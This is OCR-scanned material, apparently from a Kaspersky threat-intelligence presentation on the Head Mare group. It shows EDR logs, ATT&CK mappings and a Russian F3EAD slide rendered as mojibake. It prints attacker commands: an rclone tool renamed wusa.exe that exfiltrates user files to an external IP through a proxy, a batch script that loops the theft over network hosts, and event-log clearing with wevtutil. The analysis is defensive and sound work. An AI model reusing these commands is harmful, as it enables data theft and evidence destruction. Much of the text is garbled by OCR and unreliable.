pptx” --include "* jp*" --include ** eml” --include "* pst™ --multi-thread-streams 12 --transfers 12 --max-age 3y --max-size 1G

Parent process

592

"CAWindows\System32\cmd.exe” /C "C:\Users il De-sktoplrun_rclone bat™

File read

60 MB

2025-04-1417:28:04 850

Unknown
Details

Relone

https:/frclone.org 0
146910
Relone 2025-04-1417:30:43.901

Event initiator

System info

wusa.exe
C:\Users'wmimmililed / ppData\Roaming\Microsoft\Windows\wusa.exe --sftp-s
ocks-proxy root:toor@64.7.198.109:80 sync "C:\Users" \\64.7198.109 -q --ignor
e-existing --auto-confirm --include "*.doc" --include "*.docx" --include "*Desk
top/**" --include "*Documents/**" --include "*Downloads/**" --include "*.pd
f" --include "* xIs" --include "* xIsx" --include "*.zip" --include "*.rar" --include
"*txt" --include "*.pn*" --include "*.ppt" --include "*.pptx" --include "* jp*" --in
clude "*.eml|" --include "* pst" --multi-thread-streams 12 --transfers 12 --max-
age 3y --max-size 1G

) 4

Microsoft Windows Professional 10.0.17763




TLP: AMBER

Thre

Kaspersky Crimeware Reports lkaspersky

Lookup 1

Daily request

Rclone is an open-source project that allows copying and synchronizing files between different types of storage,

Reportfc making the tool convenient for data transfer.

T 64

~opy request

@echo off
setlocal enabledelayedexpansion
set inputFile=C:\ProgramData\l.txt
for /f "tokens=*" %%A in (%inputFile%) do (

set hostname=%%A
'TTIrGEi start /wait "" C:\ProgramData\wusa.exe --config="C:\ProgramData\l.conf" --sftp-socks-
proxy <username>:<password>@64.7.198.109:80 sync "\\%%A\C$\Users" sftpP:/data/<path> -q --
ignore-existing --auto-confirm --include "*.doc" --include "*.docx" --include
"*Desktop/**" --include "*Documents/**" --include "*Downloads/**" --include "*.pdf" --
include "*.x1s" --include "*.x1lsx" --include "*.zip" --include "*.rar" --include "*.txt" -
Date -include "*.pn*" --include "*.ppt" --include "*.pptx" --include "*.jp*" --include "*.eml"

--include "*.pst" --multi-thread-streams 12 --transfers 12 --max-age 3y --max-size 1G
> 20 Feb2( )

Lookup 1

iian Federation

endlocal

The script gets a file “1.txt’, which contains the list of the hosts. For each host from the list the script launches
the utility rclone.exe that transfers the files from the host to an SFTP server (T1048 Exfiltration Over Alternative
Protocol) via SOCKS proxy (T1090.002 Proxy: External Proxy). It transfers only the files, which are located in the
specific folders or have one of the extensions listed in the script (T1119 Automated Collection).
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£ [ explorerexe (£ 71 v [E) cmdexe %3 v £ wevtutilexe [ @1 v
L wevtutilexe | @1 v
L wevtutilexe | @1 v

B solate pc-2.demolab [0 Create preventionrule [ Create task v

Details Events

Process started Parent process
= ! vitutil.exe" - - 6352
1272 ~aunch parameters "C\Windows\System32\cmd.exe" /C "C:\Users\@ Desktop\clear bat"
wevtutil cl security System event log ' System info
0 ' 2025-04-1417:30:55.000 10
104 -
Microsoft Windows Professional 10.0.17763
Syst
User data veem
pc-2 demolab
(] -
38054
L
1412
8200
0x8000000000000000
4
0

{fc6bdddB-déef-4962-83d5-6ebefePceld8)

Microsoft-Windows-Eventlog




Cyber Kill Chain

Threat Landscape ©

® Notsaved

Default set
Actor Industry Affected countries Platform
‘ Head Mare x X v Selectindustry v Select country v Select platform v
C Resetto default
MITREATT&CK O Llow High Sigma [ | Suricata  ® | @ | A
Defense Evasion Credential Access Discovery Lateral Movement Collection Commanc

Initial Access Execution Persistence Privilege Escalation

Lateral Tool Transfer Automated Collection Application

Deobfuscate/Decode Fi dentials from Pas:

Command and Scripting Inter...

s Spearphishing Attachment Indicator Removal 08 Credential Dumping @

Sigma Bigma - Suricata 4|4

Scheduled Task/Job
curity Account Manager

Scheduled Task/Job Sigma
Sigma NTDS

Scheduled Task/Job
User Execution Sigma

L Scheduled Task

Sigma

‘Sigma - Suricata 2|2

& Valid Accounts @
SBigma - Suricata 212

em Network Configurati

em Owner/l




F3EAD 37

FSEAD - ogHa 113 Cambix MOLLHBIX KOHLIEMLIMIA, KOTOPYIO MOXHO Find - BK/IOYaET ypOBEHb CTpaTeruii onepaLim, Ha KOTOPOM Bbl
peann3oBaTtb OJ14 YJ1yYlleHS KaK aCrnekToB pa3BenkKn Yyrpos, Tak 1 ornpeaendeTe yrpo3bl, KOTOpble 6yﬂ,eTe YCTPAHATDb.
aClreKkToB pearnpoBaHy Ha NHUWOEHTDbI B Oriepaudx rno obecnevyeHnto .
> Fix - YCTaHaBJ/IMBAETCHA TEIEeMEeTPUNA N ONnpenendeTCcd, roe B CeTi

6e3onacHocTU. OHa TakXe 9BISeTCH OOHOWU N3 CaMbIX CJIO>KHbIX.

HaxXoaunTCH 3J10Y MbILLJIEHHWK, @ TakK>XXe nob0oe BHELLHee nEUCyTCTBUE,

KOTOPOE Mbl MOXEM OOHAPYXNTb.
Lviknbl pa3Bekyt He AOMKHBI MPOCTO Lvkribl orepaLinii He HOMKHLI 3aKaHUMBATLCS NOCTE TOTO, Finish - ¢pasa Bko4YaeT B cebs qDaKTMHeCKMM LK1 pearmpoBaHng Ha
nprBOAnUTb K 60ﬂbLIJeMy 06bemy Kak uesb AOCTUrHyTa. I/IchopmaLu/m, nony4yeHHasa B Xxoaoe VIHLLA eHTbI
Pa3BengaHHbIX: OHU OO/KHbI MPUBOANTDL K nobon onepaunn, 4O/HKHa HavaTb NTaTb HOBbII LINKI L" 'D' -
OCMBbIC/1IeHHbIM onepaunsm. B Hawem PaseenKkun. B Hawem Chny4ae, Koraga peakunsd Ha UHUMOeHT )
Clyyae 3TO O3HaYaeT, YTo pasBeaka 3aBepLUeHa, UHDOPMALIWS, MONyUeHHas! B XOe Hee, A0MKHa Exp|o|t - ®a3za HaNPaMYto CBA3aHa C cpa3o|‘/'| C6opa
Yrpo3 OO/MKHa He MPOCTO NpMBOANTL HAC BbITh BBeeHa B annapat pa3BeiKu, 4TO6bI HAYaTh
K 605bLUeMY O6bEMY pa3BeanaHHbIX paspabaTbiBaTh HOBYIO Pa3BeOKY, YUMTLCS Ha MPEeabIayLLNX pa3BeapiBaTeNIbHOIro LKna. LLe”b COCTOUT B TOM, YTOObI C06paTb
Yrpos3, a BMECTO 3TOrO K arpecCuBHbIM VHUMOEHTaxX 1 6biTb NyyLle NOAroTOBAEHHBIMU K By 4yLLM Kak MO>XXHO 6osibLLe |/|H¢op|v|au|/||/|, KOTOpas MOXET ObITb MNOsIe3HAa
,EI,eVICTBI/I;IM pearmpoBaHns Ha MHUMOEHTbI MOonbITKaM BTOPXEHNA

ong a3 F3EAD, opneHTpoBaHHbIX Ha pa3Beaky

Analyze - ®aga aHannsa, BO BPEMS NHLMAEHTa 4515 06paboTkn
Find Fix Finish COBpaHHO MHOPMALIM C MOMOLLIbIO HECKOJSTbKX METOO0B:

»  O6006LLUEHME TaKTUK, METOL0B M NMPoLEeayp
« Pa3zpaboTka BpeMEHHbIX PaMOK U LIEMNOYEK YHUUTOXEHNS

« [poBeneHue rnybokoro aHanmsa BpegoHocHoro Mo

Disseminate - PacnpocTpaHeHne cpeamn notpebutenen: DFIR, SOC,

Disseminate Analyze Exploit TH, BbICLLIEE PYKOBOOCTBO
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